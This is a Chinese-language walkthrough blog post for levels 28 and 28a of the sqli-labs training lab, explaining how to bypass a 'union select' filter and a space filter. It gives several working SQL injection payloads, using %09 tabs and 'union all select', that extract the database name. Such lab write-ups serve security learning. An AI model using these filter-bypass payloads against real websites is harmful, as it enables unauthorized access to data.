sqllab第二十八关通关笔记(附带28a)

知识点:

  • union select 整体过滤
    • union all select 替换
  • where id=('输入')
  • 空格 + 过滤了,使用%09代替

经过不断的测试,发现原始语句为 where id=('输入')

构造payload:id=1')and%091=('1

成功回显出了相关的信息

好,尝试进行错误注入

构造payload:id=1')and%09exp(710)=('1

发现没有任何的回显信息,说明这里不能用错误注入

尝试进行联合注入

构造payload:id=0%27)UNion%09SElect%091,2,3%09and1=(%271

发现利用大小写不能够绕过

经过测试发现它是过滤union select整个字段,好好好,那么利用union all select绕过

构造payload:id=-1%27)union%09all%09select%091,2,3%09and1=(%271

页面成功回显了,但是内容不是输入信息,应该是他把-1进行绝对值处理了,导致显示了id=1的内容

重新构造payload:id=0%27)union%09all%09select%091,2,3%09and1=(%271

页面成功回显了输入内容,发现有两处输出点,猜测是前两位,但是测试发现只有用户名处是输出信息,密码不受影响

获取数据库名

构造payload:id=0%27)union%09all%09select%091,database(),3%09and1=(%271

成功获取到了数据库名,之后的信息也一样

附带28a

28a关和28关的区别在于这关只对union select进行了过滤

同样可以用28关的payload进行处理,具体就不实操了,参考上面的方法就行了

10

相关推荐
风早爽太9 分钟前
Flutter 开发笔记:share_plus 分享插件
笔记·flutter
宵时待雨1 小时前
linux笔记归纳19:网络层协议IP
linux·网络·笔记·网络协议·tcp/ip
javgo.cn1 小时前
Markune:一个开源的 Local-first Markdown 工作区
笔记·编辑器
逆境不可逃2 小时前
Pi Agent 学习笔记:不同模型如何接入同一套工具循环
笔记·学习
♪飙♪2 小时前
电气笔记——表的认识
笔记
PC2005-cloud3 小时前
Rust学习笔记:所有权、借用与生命周期——Rust的核心机制
笔记·学习·rust
弘毅 失败的 mian3 小时前
数组和指针基础
c语言·开发语言·经验分享·笔记
问心无愧05133 小时前
ctf show web 177
前端·笔记
kaixin_啊啊5 小时前
中国研究生数学建模竞赛(华为杯)学习笔记——三维瀑布图绘图代码
笔记·学习·数学建模
动词ing5 小时前
【学习笔记】数据结构(链表合并 双指针合并有序链表)
数据结构·笔记·学习